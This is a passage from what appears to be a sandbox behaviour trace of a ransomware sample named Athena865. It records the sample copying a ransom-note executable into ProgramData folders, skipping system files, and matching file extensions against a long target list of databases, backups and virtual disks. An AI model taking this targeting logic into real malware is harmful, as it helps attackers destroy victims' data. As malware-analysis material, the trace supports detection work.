back your files.exe"), bFailIfExists=1) returned 1 [0097.766] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0 [0097.766] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.767] ReleaseMutex (hMutex=0xec) returned 1 [0097.767] CloseHandle (hObject=0xec) returned 1 [0097.767] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0097.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5163c8 | out: hHeap=0x4f0000) returned 1 [0097.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530bd8 | out: hHeap=0x4f0000) returned 1 [0097.767] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Event Viewer") returned 37 [0097.767] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\4339FF924B1D1E8132C22C9E3318E24A") returned 0xec [0097.767] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.767] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Event Viewer" | out: lpString1="C:\\ProgramData\\Microsoft\\Event Viewer") returned="C:\\ProgramData\\Microsoft\\Event Viewer" [0097.767] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.767] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.767] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.768] GetLastError () returned 0x0 [0097.768] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.768] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.769] CloseHandle (hObject=0xf4) returned 1 [0097.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.769] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.769] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.769] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.769] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.769] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.769] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc479dca0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.769] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.769] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.769] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.769] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.769] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc479dca0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc479dca0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.769] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.769] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 1 [0097.769] lstrcmpiW (lpString1="Views", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.769] lstrcmpiW (lpString1="Views", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.769] lstrcmpiW (lpString1="Views", lpString2=".") returned 1 [0097.769] lstrcmpiW (lpString1="Views", lpString2="..") returned 1 [0097.769] lstrcmpiW (lpString1="Views", lpString2="windows") returned -1 [0097.769] lstrcmpiW (lpString1="Views", lpString2="bootmgr") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="temp") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="pagefile.sys") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="boot") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="ids.txt") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="ntuser.dat") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="perflogs") returned 1 [0097.770] lstrcmpiW (lpString1="Views", lpString2="MSBuild") returned 1 [0097.770] lstrlenW (lpString="Views") returned 5 [0097.770] lstrcpyW (in: lpString1=0x241e894, lpString2="Views" | out: lpString1="Views") returned="Views" [0097.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530bd8 [0097.770] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x52f9e0 [0097.770] lstrcatW (in: lpString1="Views", lpString2="\\" | out: lpString1="Views\\") returned="Views\\" [0097.770] lstrcatW (in: lpString1="Views\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Views\\HOW TO BACK YOUR FILES.exe") returned="Views\\HOW TO BACK YOUR FILES.exe" [0097.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Event Viewer\\Views\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\event viewer\\views\\how to back your files.exe"), bFailIfExists=1) returned 1 [0097.772] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Views", cAlternateFileName="")) returned 0 [0097.772] FindClose (in: hFindFile=0x529550 | out: hFindFile=0x529550) returned 1 [0097.772] ReleaseMutex (hMutex=0xec) returned 1 [0097.772] CloseHandle (hObject=0xec) returned 1 [0097.772] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0097.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516420 | out: hHeap=0x4f0000) returned 1 [0097.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530bf0 | out: hHeap=0x4f0000) returned 1 [0097.772] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\IdentityCRL") returned 36 [0097.773] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\76238DF124893A66019F9D6B5A561F93") returned 0xec [0097.773] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0097.773] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\IdentityCRL" | out: lpString1="C:\\ProgramData\\Microsoft\\IdentityCRL") returned="C:\\ProgramData\\Microsoft\\IdentityCRL" [0097.773] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0097.773] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\identitycrl\\how to back your files.exe"), bFailIfExists=1) returned 0 [0097.773] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\identitycrl\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0097.773] GetLastError () returned 0x0 [0097.773] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0097.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53edd0 [0097.774] ReadFile (in: hFile=0xf4, lpBuffer=0x53edd0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53edd0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0097.774] CloseHandle (hObject=0xf4) returned 1 [0097.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.774] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0097.774] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529550 [0097.775] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.775] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.775] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0097.775] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc47c3e00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.775] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.775] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0097.775] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0097.775] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0097.775] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47c3e00, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc47c3e00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0097.775] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0097.775] FindNextFileW (in: hFindFile=0x529550, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="..") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="windows") returned -1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="bootmgr") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="temp") returned -1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="pagefile.sys") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="boot") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="ids.txt") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="ntuser.dat") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="perflogs") returned 1 [0097.775] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2="MSBuild") returned 1 [0097.775] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0097.776] lstrcpyW (in: lpString1=0x241e892, lpString2="ppcrlconfig.dll" | out: lpString1="ppcrlconfig.dll") returned="ppcrlconfig.dll" [0097.776] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0097.776] lstrlenW (lpString="Athena865") returned 9 [0097.776] lstrcmpiW (lpString1="onfig.dll", lpString2="Athena865") returned 1 [0097.776] lstrlenW (lpString=".dll") returned 4 [0097.776] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".dll") returned 1 [0097.776] lstrlenW (lpString=".lnk") returned 4 [0097.776] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".lnk") returned 1 [0097.776] lstrlenW (lpString=".ini") returned 4 [0097.776] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".ini") returned 1 [0097.776] lstrlenW (lpString=".sys") returned 4 [0097.776] lstrcmpiW (lpString1="ppcrlconfig.dll", lpString2=".sys") returned 1 [0097.776] lstrlenW (lpString="ppcrlconfig.dll") returned 15 [0097.776] lstrlenW (lpString="bak") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0097.776] lstrlenW (lpString="ba_") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0097.776] lstrlenW (lpString="dbb") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0097.776] lstrlenW (lpString="vmdk") returned 4 [0097.776] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0097.776] lstrlenW (lpString="rar") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0097.776] lstrlenW (lpString="zip") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0097.776] lstrlenW (lpString="tgz") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0097.776] lstrlenW (lpString="vbox") returned 4 [0097.776] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0097.776] lstrlenW (lpString="vdi") returned 3 [0097.776] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0097.777] lstrlenW (lpString="vhd") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0097.777] lstrlenW (lpString="vhdx") returned 4 [0097.777] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0097.777] lstrlenW (lpString="avhd") returned 4 [0097.777] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0097.777] lstrlenW (lpString="db") returned 2 [0097.777] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0097.777] lstrlenW (lpString="db2") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0097.777] lstrlenW (lpString="db3") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0097.777] lstrlenW (lpString="dbf") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0097.777] lstrlenW (lpString="mdf") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0097.777] lstrlenW (lpString="mdb") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0097.777] lstrlenW (lpString="sql") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0097.777] lstrlenW (lpString="sqlite") returned 6 [0097.777] lstrcmpiW (lpString1="ig.dll", lpString2="sqlite") returned -1 [0097.777] lstrlenW (lpString="sqlite3") returned 7 [0097.777] lstrcmpiW (lpString1="fig.dll", lpString2="sqlite3") returned -1 [0097.777] lstrlenW (lpString="sqlitedb") returned 8 [0097.777] lstrcmpiW (lpString1="nfig.dll", lpString2="sqlitedb") returned -1 [0097.777] lstrlenW (lpString="xml") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0097.777] lstrlenW (lpString="$er") returned 3 [0097.777] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0097.777] lstrlenW (lpString="4dd") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0097.778] lstrlenW (lpString="4dl") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0097.778] lstrlenW (lpString="^^^") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0097.778] lstrlenW (lpString="abs") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0097.778] lstrlenW (lpString="abx") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0097.778] lstrlenW (lpString="accdb") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accdb") returned 1 [0097.778] lstrlenW (lpString="accdc") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accdc") returned 1 [0097.778] lstrlenW (lpString="accde") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accde") returned 1 [0097.778] lstrlenW (lpString="accdr") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accdr") returned 1 [0097.778] lstrlenW (lpString="accdt") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accdt") returned 1 [0097.778] lstrlenW (lpString="accdw") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accdw") returned 1 [0097.778] lstrlenW (lpString="accft") returned 5 [0097.778] lstrcmpiW (lpString1="g.dll", lpString2="accft") returned 1 [0097.778] lstrlenW (lpString="adb") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0097.778] lstrlenW (lpString="adb") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0097.778] lstrlenW (lpString="ade") returned 3 [0097.778] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0097.778] lstrlenW (lpString="adf") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0097.779] lstrlenW (lpString="adn") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0097.779] lstrlenW (lpString="adp") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0097.779] lstrlenW (lpString="alf") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0097.779] lstrlenW (lpString="ask") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0097.779] lstrlenW (lpString="btr") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0097.779] lstrlenW (lpString="cat") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0097.779] lstrlenW (lpString="cdb") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0097.779] lstrlenW (lpString="ckp") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0097.779] lstrlenW (lpString="cma") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0097.779] lstrlenW (lpString="cpd") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0097.779] lstrlenW (lpString="dacpac") returned 6 [0097.779] lstrcmpiW (lpString1="ig.dll", lpString2="dacpac") returned 1 [0097.779] lstrlenW (lpString="dad") returned 3 [0097.779] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0097.779] lstrlenW (lpString="dadiagrams") returned 10 [0097.779] lstrcmpiW (lpString1="config.dll", lpString2="dadiagrams") returned -1 [0097.779] lstrlenW (lpString="daschema") returned 8 [0097.779] lstrcmpiW (lpString1="nfig.dll", lpString2="daschema") returned 1 [0097.779] lstrlenW (lpString="db-journal") returned 10 [0097.779] lstrcmpiW (lpString1="config.dll", lpString2="db-journal") returned -1 [0097.780] lstrlenW (lpString="db-shm") returned 6 [0097.780] lstrcmpiW (lpString1="ig.dll", lpString2="db-shm") returned 1 [0097.780] lstrlenW (lpString="db-wal") returned 6 [0097.780] lstrcmpiW (lpString1="ig.dll", lpString2="db-wal") returned 1 [0097.780] lstrlenW (lpString="dbc") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0097.780] lstrlenW (lpString="dbs") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0097.780] lstrlenW (lpString="dbt") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0097.780] lstrlenW (lpString="dbv") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0097.780] lstrlenW (lpString="dbx") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0097.780] lstrlenW (lpString="dcb") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0097.780] lstrlenW (lpString="dct") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0097.780] lstrlenW (lpString="dcx") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0097.780] lstrlenW (lpString="ddl") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0097.780] lstrlenW (lpString="dlis") returned 4 [0097.780] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0097.780] lstrlenW (lpString="dp1") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0097.780] lstrlenW (lpString="dqy") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0097.780] lstrlenW (lpString="dsk") returned 3 [0097.780] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0097.781] lstrlenW (lpString="dsn") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0097.781] lstrlenW (lpString="dtsx") returned 4 [0097.781] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0097.781] lstrlenW (lpString="dxl") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0097.781] lstrlenW (lpString="eco") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0097.781] lstrlenW (lpString="ecx") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0097.781] lstrlenW (lpString="edb") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0097.781] lstrlenW (lpString="epim") returned 4 [0097.781] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0097.781] lstrlenW (lpString="fcd") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0097.781] lstrlenW (lpString="fdb") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0097.781] lstrlenW (lpString="fic") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0097.781] lstrlenW (lpString="flexolibrary") returned 12 [0097.781] lstrcmpiW (lpString1="rlconfig.dll", lpString2="flexolibrary") returned 1 [0097.781] lstrlenW (lpString="fm5") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0097.781] lstrlenW (lpString="fmp") returned 3 [0097.781] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0097.781] lstrlenW (lpString="fmp12") returned 5 [0097.781] lstrcmpiW (lpString1="g.dll", lpString2="fmp12") returned 1 [0097.781] lstrlenW (lpString="fmpsl") returned 5 [0097.781] lstrcmpiW (lpString1="g.dll", lpString2="fmpsl") returned 1 [0097.781] lstrlenW (lpString="fol") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0097.782] lstrlenW (lpString="fp3") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0097.782] lstrlenW (lpString="fp4") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0097.782] lstrlenW (lpString="fp5") returned 3 [0097.782] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 